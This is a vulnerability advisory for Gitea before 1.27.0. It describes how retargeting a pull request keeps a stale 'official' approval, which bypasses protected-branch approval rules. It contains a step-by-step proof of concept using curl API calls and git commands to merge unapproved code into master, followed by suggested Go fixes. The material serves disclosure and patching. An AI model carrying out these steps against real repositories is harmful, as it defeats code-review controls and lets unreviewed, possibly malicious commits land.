---
id: CVE-2026-58439
aliases:
  - GHSA-w5pg-649r-p6gg
title: >-
  Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official`
  Approval Flag
summary: >-
  Gitea: Branch Protection Bypass via PR Retargeting Preserves Stale `official`
  Approval Flag
severity: high
cvss: 8.1
cwe:
  - CWE-863
vendor: gitea
product: code.gitea.io/gitea
ecosystem: go
affected:
  - code.gitea.io/gitea < 1.27.0
patched:
  - code.gitea.io/gitea 1.27.0
published: '2026-07-21'
updated: '2026-07-21'
source: GHSA
sourceUrl: 'https://github.com/advisories/GHSA-w5pg-649r-p6gg'
references:
  - url: 'https://github.com/go-gitea/gitea/security/advisories/GHSA-w5pg-649r-p6gg'
  - url: 'https://github.com/go-gitea/gitea/pull/38319'
  - url: 'https://github.com/go-gitea/gitea/pull/38402'
  - url: >-
      https://github.com/go-gitea/gitea/commit/74ad781db9c37134ee9280c69a6b1de53801503e
  - url: >-
      https://github.com/go-gitea/gitea/commit/8401fe7c544abff1ecc49d7f3166fd4ee0c174ef
  - url: 'https://github.com/go-gitea/gitea/releases/tag/v1.27.0'
  - url: 'https://github.com/advisories/GHSA-w5pg-649r-p6gg'
tags:
  - ghsa
  - go
ingestedAt: '2026-07-21T20:54:27.518Z'
epss: 0.00525
epssPercentile: 0.42069
---

## Overview

## Summary

Gitea does not re-evaluate the `official` flag on existing pull request reviews when a PR's target branch is changed. An attacker with write access to a repository can obtain an `official: true` approval on a PR targeting an unprotected branch, then retarget the PR to a protected branch (e.g., `master`). The approval, which would have been `official: false` if submitted against the protected branch, is preserved and satisfies the protected branch's required approvals, allowing the attacker to merge without legitimate maintainer approval.

- Confirmed on Gitea **1.25.4** (`1.25.4+41-g96515c0f20`)

## Vulnerability Details

### Root Cause

When a review is submitted on a pull request, Gitea computes the `official` flag by checking whether the reviewer is in the **target branch's** approval whitelist (`IsUserOfficialReviewer` in `models/git/protected_branch.go`). This flag is stored in the database as a boolean on the review record.

When a PR's target branch is subsequently changed via `ChangeTargetBranch` (`services/pull/pull.go:218`), the function:
- Updates `pr.BaseBranch`
- Recalculates merge feasibility and divergence
- Deletes old push comments
- Creates a "change target branch" comment

But it does **not**:
- Re-evaluate `official` on existing reviews
- Dismiss existing approvals
- Check whether reviewers are in the new target branch's approval whitelist

At merge time, `GetGrantedApprovalsCount` (`models/issues/pull.go:766`) counts reviews where `official = true AND dismissed = false AND type = Approve`. It reads the stored boolean — it does not re-check the whitelist. The stale `official: true` from the unprotected branch satisfies the protected branch's approval requirement.

### Relevant Code Paths

1. **Review creation** — `services/pull/review.go:SubmitReview` calls `IsOfficialReviewer` against the current `pr.BaseBranch`'s protection rules, stores `official=true/false`
2. **Target branch change** — `services/pull/pull.go:ChangeTargetBranch` modifies `pr.BaseBranch` but does not touch existing reviews
3. **Merge check** — `services/pull/check.go:CheckPullMergeable` → `models/issues/pull.go:GetGrantedApprovalsCount` counts stored `official=true` reviews without re-evaluating against the new branch's whitelist

### Prerequisites

The attacker needs:
- **Write (push) access** to the repository (collaborator with write role, or the ability to create branches — not admin)
- The ability to create pull requests (standard for any user with push access)
- A second account (or any non-admin account) to submit the approval on the unprotected branch

The attacker does **not** need:
- Admin access
- To be in the approval whitelist for the protected branch
- Any interaction from the branch protection's designated approvers

## Proof of Concept

### Setup

Repository `owner/repo` with branch `master` protected:
- Required approvals: 1
- Approval whitelist enabled, containing only user `admin-reviewer`
- User `attacker` has write access but is **not** in the approval whitelist

### Steps

```bash
BASE="http://gitea-instance:3000"
OWNER="owner"
REPO="repo"
ATTACKER_AUTH="attacker:password"
ACCOMPLICE_AUTH="accomplice:password"  # any non-whitelisted user

# 1. Create an unprotected temporary branch from master
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/branches" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"new_branch_name": "tmp-unprotected", "old_branch_name": "master"}'

# 2. Push a malicious commit to a feature branch
git checkout -b malicious-branch origin/master
echo "malicious payload" > payload.txt
git add payload.txt
git commit -m "innocent looking commit"
git push origin malicious-branch

# 3. Create PR targeting the UNPROTECTED branch
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{
    "head": "malicious-branch",
    "base": "tmp-unprotected",
    "title": "Add feature"
  }'
# Returns PR #N

# 4. Approve the PR (official=true because tmp-unprotected has no protection)
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ACCOMPLICE_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"event": "APPROVED", "body": "LGTM"}'
# Response includes: "official": true

# 5. Retarget the PR to protected master
curl -X PATCH "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"base": "master"}'

# 6. Verify: approval is still official=true against master
curl "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/reviews" \
  -u "$ATTACKER_AUTH"
# Response: "official": true, "dismissed": false, "stale": false

# 7. Merge — succeeds despite no whitelisted approver reviewing
curl -X POST "$BASE/api/v1/repos/$OWNER/$REPO/pulls/N/merge" \
  -u "$ATTACKER_AUTH" \
  -H "Content-Type: application/json" \
  -d '{"do": "merge"}'
# Returns 200 OK — malicious commit is now on master
```

### Observed API Responses

**Step 4** — Approval on unprotected branch:
```json
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "user": {"login": "accomplice"}}
```

**Step 6** — Same approval after retarget to protected master:
```json
{"id": 16, "state": "APPROVED", "official": true, "dismissed": false, "stale": false, "user": {"login": "accomplice"}}
```

The `official` flag is unchanged. Under the protected branch's rules, this user's approval should be `official: false`.

## Impact

- **Branch protection bypass**: Protected branches with approval whitelists can be merged into without any whitelisted user approving
- **Privilege escalation**: A user with write-but-not-admin access can effectively nullify the admin-configured approval requirements

## Suggested Fix

Re-evaluate the `official` flag on all existing reviews when a PR's target branch changes. In `services/pull/pull.go:ChangeTargetBranch`, after updating `pr.BaseBranch`:

```go
// After updating the base branch, re-evaluate official status on all reviews
reviews, err := issues_model.FindReviews(ctx, issues_model.FindReviewOptions{
    IssueID: pr.IssueID,
    Type:    issues_model.ReviewTypeApprove,
})
if err != nil {
    return err
}

newProtectBranch, err := git_model.GetFirstMatchProtectedBranchRule(ctx, pr.BaseRepoID, targetBranch)
if err != nil {
    return err
}

for _, review := range reviews {
    wasOfficial := review.Official
    if newProtectBranch != nil && newProtectBranch.EnableApprovalsWhitelist {
        review.Official = git_model.IsUserOfficialReviewer(ctx, newProtectBranch, review.Reviewer)
    } else {
        review.Official = false
    }
    if wasOfficial != review.Official {
        if _, err := db.GetEngine(ctx).ID(review.ID).Cols("official").Update(review); err != nil {
            return err
        }
    }
}
```

Alternatively, dismiss all existing approvals on retarget (simpler, more conservative):

```go
// Dismiss all approvals when target branch changes
if _, err := issues_model.DismissReview(ctx, &issues_model.DismissReviewOptions{
    IssueID: pr.IssueID,
    Message: "Dismissed: PR target branch changed",
}); err != nil {
    return err
}
```

## Affected packages

- `code.gitea.io/gitea < 1.27.0`

## Remediation

Upgrade to a patched release:

- `code.gitea.io/gitea 1.27.0`
